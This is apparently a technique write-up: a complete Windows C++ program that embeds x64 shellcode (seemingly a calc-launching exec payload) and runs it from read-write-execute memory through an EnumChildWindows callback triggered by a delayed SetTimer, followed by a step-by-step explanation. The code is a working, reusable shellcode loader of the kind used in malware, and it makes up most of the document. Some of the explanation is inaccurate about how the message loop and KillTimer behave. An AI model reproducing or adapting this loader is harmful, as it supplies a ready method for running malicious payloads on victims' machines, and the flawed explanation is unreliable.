Shellcode Execution via Timer

```
C++ Code
#include <windows.h>

// TimeProc Declaration
VOID CALLBACK TimerProc(HWND hWnd, UINT message, UINT_PTR timerId, DWORD dwTime);

// Shellcode declaration
char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
    "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
    "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
    "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
    "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
    "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
    "\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
    "\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
    "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
    "\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
    "\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
    "\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
    "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
    "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
    "\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
    "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
    "\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
    "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
    "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
    "\xd5\x63\x61\x6c\x63\x00";

int main(){
    // Set Timer to execute TimerProc in 10 seconds
    UINT_PTR timerId = SetTimer(NULL, 1, 10000, TimerProc);

    // Message Loop
    MSG msg;
    while (GetMessage(&msg, NULL, 0, 0)){
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }
    KillTimer(NULL, timerId);
    return 0;
}

// Function Executed by TimerProc
VOID CALLBACK TimerProc(HWND hWnd, UINT message, UINT_PTR timerId, DWORD dwTime){
    HANDLE hAlloc = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(hAlloc, shellcode, sizeof(shellcode));
    EnumChildWindows((HWND) NULL,(WNDENUMPROC) hAlloc,NULL);
}
```

This code is a Windows program that sets a timer to execute a function (TimerProc) after a delay of 10 seconds. The TimerProc function allocates memory, copies shellcode into it, and then attempts to execute the shellcode. Let's break down the key components and explain its functionality:

1. **Shellcode**:
   - The char shellcode[] array contains shellcode in hexadecimal representation. Shellcode is typically a small piece of code used in various contexts, including penetration testing and exploitation.

2. **Timer Function**:
   - TimerProc is a callback function that is called when the timer expires. It takes four parameters: hWnd, message, timerId, and dwTime. In this code, it is used to allocate memory, copy the shellcode into it, and attempt to execute it.

3. **Memory Allocation**:
   - Inside TimerProc, it uses VirtualAlloc to allocate memory with the MEM_COMMIT | MEM_RESERVE flags and PAGE_EXECUTE_READWRITE protection. This means the allocated memory is both executable and readable.

4. **Shellcode Copy**:
   - The shellcode is then copied into the allocated memory using memcpy.

5. **Execution Attempt**:
   - The code attempts to execute the shellcode using EnumChildWindows, passing the allocated memory as a callback function. This is a creative way to attempt to execute the shellcode.

6. **Main Function**:
   - In the main function, a timer is set to execute TimerProc after a 10-second delay using SetTimer. This sets the stage for the execution of the shellcode.

7. **Message Loop**:
   - The program enters a message loop using GetMessage, TranslateMessage, and DispatchMessage. This loop keeps the program running until a message is received.

8. **Timer Cleanup**:
   - After the timer expires and TimerProc is executed, the timer is killed using KillTimer.